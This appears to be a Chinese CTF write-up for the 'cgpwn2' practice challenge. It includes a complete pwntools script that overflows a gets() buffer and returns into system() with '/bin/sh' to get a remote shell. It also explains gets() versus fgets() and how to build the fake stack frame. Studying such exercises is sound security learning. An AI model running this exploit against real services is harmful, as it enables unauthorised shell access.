2019.7.17 功放世界 cgpwn2

以下是该题的脚本:

  # -*- coding:utf-8 -*-
    from pwn import * 
    elf=ELF('./cgpwn2') 
    p = remote('111.198.29.45',47681)
    addr=0x804A080  #点击name,获得name的地址。
    p.recvline()
    p.sendline('/bin/sh') #通过向其传入/bin/sh。把其当作伪栈帧中函数的参数,对name的地址(16进制)打包,在内存的表现形式为/x80/xA0/x04/x80
    sys_addr = elf.symbols['system']
    p.recvline()
    payload = 'A'*(0x26+4)+p32(sys_addr)+'A'*4 +p32(addr) #0x26+4是s的栈空间+ebp的栈空间。'A'是返回地址(可以随便写)
    p.sendline(payload)
    p.interactive()

②以下是该题的反编译程序:

2019.7.17 功放世界 cgpwn2_第1张图片
③gets() 有一个非常大的缺陷,即它不检查预留存储区是否能够容纳实际输入的数据,换句话说,如果输入的字符数目大于数组的长度,gets ()无法检测到这个问题,就会发生内存越界。
④char *fgets(char *s, int size, FILE *stream);fgets() 虽然比 gets() 安全,但安全是要付出代价的,代价就是它的使用比 gets() 要麻烦一点,有三个参数。它的功能是从 stream 流中读取 size 个字符存储到字符指针变量 s 所指向的内存空间。
它的返回值是一个指针,指向字符串中第一个字符的地址。
⑤其中:s 代表要保存到的内存空间的首地址,可以是字符数组名,也可以是指向字符数组的字符指针变量名。size 代表的是读取字符串的长度。stream 表示从何种流中读取,可以是标准输入流 stdin,也可以是文件流,即从某个文件中读取。
标准输入流就是前面讲的输入缓冲区。所以如果是从键盘读取数据的话就是从输入缓冲区中读取数据,即从标准输入流 stdin 中读取数据,所以第三个参数为 stdin.
⑥本题的思路:先反编译,找到栈溢出漏洞的位置,在plt表中发现system()函数,但是没有‘/bin/sh’的影子,我们可以将/bin/sh传入name中,然后将其当作参数传入。实质是构造一个伪栈帧(必要的东西:函数地址,返回地址(随便写),参数地址)。要注意的是padding填充的时候,要根据程序是多少位的,来加上e(r)bp寄存器的栈中所占的字节数4(8)。

你可能感兴趣的:(pwn)